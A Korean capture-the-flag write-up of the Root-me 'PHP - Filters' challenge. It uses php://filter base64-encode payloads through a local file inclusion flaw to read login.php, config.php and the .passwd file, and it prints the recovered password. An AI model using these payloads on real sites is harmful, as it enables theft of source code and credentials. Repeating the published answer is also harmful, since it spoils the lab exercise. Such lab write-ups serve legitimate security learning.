<Root-me> PHP - Filters
파일을 보기 위해서는 로그인하라고 한다.
login을 누르면
로그인 폼이 뜬다.
하지만 로그인에 대한 정보나 힌트를 찾을 수 없다.
URL을 보면 각 페이지를 요청하기 위해 GET Method를 사용하는 것을 알 수 있다.
inc의 값으로 상위 경로를 뜻하는 ../을 입력해보면
경고를 출력하는데, include()로 보아 LFI 취약점 공격을 생각할 수 있다.
PHP Wrapper를 통해 소스 코드를 볼 수 있다.
가장 많이 사용되는 방법인 php://filter를 사용하여 로그인 페이지의 소스 코드를 찾아보기 위해
?inc=php://filter/convert.base64-encode/resource=login.php를 입력하면
긴 문자열 하나가 출력된다.
이 문자열은 base64 인코딩된 값이기에 base64 디코딩해보면
<?php
include("config.php");
if ( isset($_POST["username"]) && isset($_POST["password"]) ){
if ($_POST["username"]==$username && $_POST["password"]==$password){
print("<h2>Welcome back !</h2>");
print("To validate the challenge use this password<br/><br/>");
} else {
print("<h3>Error : no such user/password</h2><br />");
}
} else {
?>
<form action="" method="post">
Login <br/>
<input type="text" name="username" /><br/><br/>
Password <br/>
<input type="password" name="password" /><br/><br/>
<br/><br/>
<input type="submit" value="connect" /><br/><br/>
</form>
<?php } ?>
위와 같은 php 코드가 나온다.
POST로 받은 username과 password가 변수 username과 password와 같으면 된다.
config.php 파일에 변수 username과 password에 대한 설정 값이 포함되있는 것 같다.
문제 페이지에서
?inc=php://filter/convert.base64-encode/resource=config.php를 입력하면
이 문자열을 base64 디코딩해보면
<?php
$username="admin";
$password="".file_get_contents(".passwd")."";
?>
비밀번호는 .passwd 파일을 문자열로 읽어온다.
?inc=php://filter/convert.base64-encode/resource=.passwd를 입력하면
이것도 base64 디코딩해보면
DAPt9D2mky0APAF
비밀번호를 획득할 수 있다.